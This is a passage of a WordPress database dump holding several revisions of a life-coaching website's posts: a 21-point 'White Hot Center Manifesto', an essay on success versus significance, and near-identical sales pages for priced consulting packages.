(1398, 1, '2010-12-27 13:01:09', '2010-12-27 20:01:09', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious.  These guiding principles form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in every area of your life.</span></h2>\r\n<h2><strong>1 as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, the future is right now!\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2010-12-27 13:01:09', '2010-12-27 20:01:09', '', 136, 'http://www.whitehotcenter.com/2010/12/27/136-revision-38/', 0, 'revision', '', 0),
(1401, 2, '2010-12-27 17:01:04', '2010-12-28 00:01:04', '<img class="alignnone size-full wp-image-463" title="significancepost" src="http://whc.fbdev.org/wp-content/uploads/2009/03/significancepost1.gif" alt="significancepost" width="405" height="255" />\r\n<h2><span style="color: #ff6600;"><span style="font-size: 20px; font-family: Arial;">What''s the difference between pursuing a successful life, or a life of significance? On the surface you might think these are one and the same. Can you experience one and not the other? Are these two attributes mutually exclusive, or do they indeed go hand in hand? </span></span></h2>\r\nMuch of what we may define as success is subjective, and largely based on the core beliefs about life and our reaction to it that are contained in our head–notably our sub-conscious minds. Everyone desires to create a successful life. I don’t think anyone with a healthy mind spends much time consciously saying, “My goal is to be a complete failure in life”.  At least I have not yet met anyone with that point of view.  I think you would basically agree with the general statement: we all want to create success in our life. This begs the bigger question –what is success and will it really bring you happiness?<!--more-->\r\n\r\n<strong>The Successful Life</strong>\r\n\r\nIn our western culture, most people believe that you are successful when you <em>achieve something. </em>The common self-help industry definition suggests you are successful when you are pursuing the <em>achievement of goals</em> that result in financial success, personal power and authority, mastery of knowledge, material possessions and outward status in your community. While there is nothing bad or wrong with these pursuits, in of themselves, these ideals will rarely lead anyone to experience sustained happiness. I know many successful, accomplished people who are just plain miserable, and I’ll bet you do too. You may achieve the symbols of outer success, but they will not provide you with happiness. Like John Lennon says “money can’t buy me love”.\r\n\r\n<strong>The Significant Life</strong>\r\n\r\nOn the other hand, living a life of significance has its basis in an entirely different set of principles. The formula here is dramatically different than the pursuit of success. When you are pursuing significance, you engage your life in the accomplishment of ideas that deeply matter to you and contribute to the well-being and advancement of others. Your focus is on attributes like, generosity, kindness, love, relationships, value creation and connectedness. A person who is engaged in the pursuit of a Significant Life is always thinking “win/win”, not “I win”. They live their days on the creative plane not the competitive one. The equation here is simple:\r\n\r\n<strong>Meaning + Contribution = Significant Happiness</strong>\r\n\r\nTo experience significant happiness you must discover what really matters to you in life, and have what matters to you contribute to the advancement of others. Only then can you expect to experience a more sustained satisfaction, joy, freedom and abundance. When you get this formula working in your life, the world will shower you with appreciation. Which usually takes its form in the abundance of health, well-being, loving relationships, and last but not least–lots of money! These things are the applause the world bestows upon you for lighting the way for others.\r\n\r\n<strong>My suggestion is put your focus and attention on the pursuit of significance rather than success. You’ll be so happy that you did.</strong>', 'Meaning + Contribution = Significance', 0, 'I have been doing some thinking lately about the difference between pursuing a successful life, or a life of significance. On the surface you might think these are one and the same. Can you experience one and not the other?...\r\n', 'inherit', 'open', 'open', '', '8-revision-20', '', '', '2010-12-27 17:01:04', '2010-12-28 00:01:04', '', 8, 'http://www.whitehotcenter.com/2010/12/27/8-revision-20/', 0, 'revision', '', 0),
(1408, 2, '2011-01-01 17:21:04', '2011-01-02 00:21:04', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<strong>About Me</strong>\r\n\r\nFor over 25 years, I''ve pursued my passion in life as a successful, creative entrepreneur, designer, writer, creative director and brand strategy and marketing consultant. I provide insight, guidance and creativity to senior executives in diverse global companies and owners of small start-ups alike. My expertise contributes to their capabilities, improves their effectiveness, and helps them make confident decisions about the strategic and creative aspects of increasing their impact and influence in the marketplace.  You can learn about my expertise in consumer products marketing, brand strategy and communications design at <a href="http://www.pullinc.com" target="_blank">PULL Brand Innovation.</a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:21:04', '2011-01-02 00:21:04', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-108/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1404, 2, '2010-12-27 16:50:37', '2010-12-27 23:50:37', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth –</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design –</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation –</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation –</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I''ve successfully helped business people, in global companies and venture start-ups alike, better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-27 16:50:37', '2010-12-27 23:50:37', '', 138, 'http://www.whitehotcenter.com/2010/12/27/138-revision-104/', 0, 'revision', '', 0),
(1407, 2, '2011-01-01 17:17:03', '2011-01-02 00:17:03', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and highly differentiated from the alternatives in the marketplace.\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth –</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design –</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation –</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation –</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I''ve successfully helped business people, in global companies and venture start-ups alike, better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. </span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><a href="http://www.pullinc.com" target="_blank">Please visit my brand strategy consulting firm, PULL Brand Innovation.</a>\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a> Strategic Business Development Coaching and Consulting</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you.\r\n\r\nYou''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto:thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>\r\n\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future.\r\n\r\n</span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2011-01-01 17:17:03', '2011-01-02 00:17:03', '', 138, 'http://www.whitehotcenter.com/2011/01/01/138-revision-107/', 0, 'revision', '', 0),
(1405, 2, '2011-01-01 17:16:02', '2011-01-02 00:16:02', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h1><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h1>\r\nYour success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thought is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.\r\n\r\nI inspire, guide and create ideas for successful, early stage entrepreneurs and solo professionals you seek greater clarity, confidence and velocity to pursue their best opportunities to have more impact, influence and income. I pledge all my talent, knowledge and expertise to help you imagine and believe in a bigger vision for your better future, and align your real-world actions to accelerate your ability to turn possibility into achievement.\r\n\r\nThrough insight, guidance and creativity, our work together will focus on ideas, strategy and tactics for mastering the inner (creative plane), and outer (physical plane) of business and life success in four essential disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpand the quality of your presence and influence by elevating your thoughts, your effectiveness, and your contribution to others.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDesign a compelling vision for your total life experience based solely on what truly matters to you, living harmoniously from your own white hot center.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to develop ways to monetize what deeply matters to you in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and income through effective marketing and business development strategies that are highly valued by the best customers and clients, and 